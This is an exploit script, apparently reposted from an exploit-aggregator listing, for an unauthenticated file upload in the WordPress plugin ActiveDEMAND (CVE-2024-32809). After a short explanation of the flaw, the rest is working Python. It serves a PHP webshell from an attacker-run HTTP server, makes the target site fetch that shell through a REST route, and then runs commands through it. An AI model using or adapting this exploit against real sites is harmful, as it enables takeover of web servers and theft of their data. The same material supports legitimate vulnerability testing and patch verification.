Share
## https://sploitus.com/exploit?id=PACKETSTORM:226404
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin ActiveDEMAND <= 0.2.40 - Unauthenticated Arbitrary File Upload to RCE
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/activedemand/
# Software Link: https://downloads.wordpress.org/plugin/activedemand.0.2.40.zip
# Version: 0.2.40 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2024-32809
"""
ActiveDEMAND <= 0.2.40 exposes the REST route /wp-json/activedemand/v1/create-post/ with
permission_callback __return_true. Its api_key gate is strcmp($_['api_key'], get_option(appkey))
and on a fresh install the stored appkey is "" so api_key="" passes. The handler then does
file_get_contents($thumbnail_url) + file_put_contents(uploads/.../basename($thumbnail_url)) with NO
extension check (ActiveDEMAND.php:880-890) -> upload a .php webshell -> RCE.
"""
import argparse, sys, time, os, threading, http.server, socketserver, datetime
import requests
requests.packages.urllib3.disable_warnings()
TOK = "ADEMAND_PWNED"
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--lhost", default="host.docker.internal")
ap.add_argument("--lport", type=int, default=8971)
ap.add_argument("--cmd", default="id")
ap.add_argument("--name", default="adshell_"+os.urandom(3).hex()+".php")
a = ap.parse_args(); base = a.target.rstrip("/")
pl = ("<?php echo '%s:'; if(isset($_GET['c'])) system($_GET['c']); ?>" % TOK).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(s): s.send_response(200); s.send_header("Content-Length", str(len(pl))); s.end_headers(); s.wfile.write(pl)
def log_message(s, *x): pass
socketserver.TCPServer.allow_reuse_address = True
hd = socketserver.TCPServer(("0.0.0.0", a.lport), H)
threading.Thread(target=hd.serve_forever, daemon=True).start(); time.sleep(0.5)
u = "http://%s:%d/%s" % (a.lhost, a.lport, a.name)
print("[*] Target:", base, "| payload:", u)
r = requests.post(base + "/wp-json/activedemand/v1/create-post/",
json={"api_key": "", "title": "x", "content": "x", "slug": "x",
"categories": "x", "thumbnail_url": u}, timeout=30, verify=False)
print("[*] create-post ->", r.status_code, r.text[:120]); time.sleep(1)
now = datetime.datetime.now(datetime.timezone.utc)
for p in ["/wp-content/uploads/%d/%02d/%s" % (now.year, now.month, a.name),
"/wp-content/uploads/%s" % a.name]:
rr = requests.get(base + p, params={"c": a.cmd}, timeout=15, verify=False)
if TOK in rr.text:
print("\n[+] RCE CONFIRMED at", p); print(rr.text.split(TOK + ":")[1].strip()); hd.shutdown(); return 0
print("\n[-] not confirmed"); hd.shutdown(); return 1
if __name__ == "__main__":
sys.exit(main())